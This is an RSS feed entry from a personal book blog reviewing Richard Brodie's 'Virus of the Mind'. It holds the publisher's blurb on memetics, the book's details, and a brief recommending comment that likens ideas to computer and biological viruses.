<p>“Virus of the Mind is the first popular book devoted to the science of memetics, a controversial new field that transcends psychology, biology, anthropology, and cognitive science. Memetics is the science of memes, the invisible but very real DNA of human society. In Virus of the Mind, Richard Brodie carefully builds on the work of scientists Richard Dawkins, Douglas Hofstadter, Daniel Dennett, and others who have become fascinated with memes and their potential impact on our lives. But Richard goes beyond science and dives into the meat of the issue: is the emergence of this new science going to have an impact on our lives like the emergence of atomic physics did in the Cold War? He would say the impact will be at least as great. While atomic bombs affect everybody’s life, viruses of the mind touch lives in a more personal and more pernicious way. Mind viruses have already infected governments, educational systems, and inner cities, leading to some of the most pervasive and troublesome problems of society today: youth gangs, the welfare cycle, the deterioration of the public schools, and ever-growing government bureaucracy. Viruses of the mind are not a future worry: they are here with us now and are evolving to become better and better at their job of infecting us. The recent explosion of mass media and the information superhighway has made the earth a prime breeding ground for viruses of the mind. Will there be a mental plague? Will only some of us survive with our free will intact? Richard Brodie weaves together science, ethics, and current events as he raises these and other very disturbing questions about memes.”</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />
<p>Author: Richard Brodie</p>

<p>Category: Sociology, Evolution</p>

<p>Publisher: Hay House; Reissue edition (February 15, 2011)</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />
<p>This book talks about a new scientific field which is very interesting: Memetics and Mind Viruses.</p>

<p>Like Biologic and Computer Viruses, there are also Mind Viruses which can be seen in our world today.</p>

<p>This books is continuation of Richard Dawkins’ idea about Memes from <a href="https://nima.ninja/books/2021/the-selfish-gene">The Selfish Gene</a> book chapter 11.</p>

<p>It is highly recommended if you are interested in how some ideas become viral and infect millions of minds unconsciously and sometimes irrevocably, exactly the same as some computer rootkits and viruses or even biological viruses.</p>

<p>The author is a former Microsoft developer who has dedicated his life to this and also personal improvement field after his retirement from Microsoft.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Thu, 07 Oct 2021 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/books/2021/virus-of-the-mind-the-new-science-of-the-meme</link>
        <guid isPermaLink="true">https://nima.ninja/books/2021/virus-of-the-mind-the-new-science-of-the-meme</guid>

        
          <media:content url="https://nima.ninja/books/assets/2021/virus-of-the-mind-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>Sociology</category>
        
          <category>Evolution</category>
        
          <category>Memetics</category>
        
          <category>Mind Viruses</category>
        
      </item>
    
  </channel>
</rss>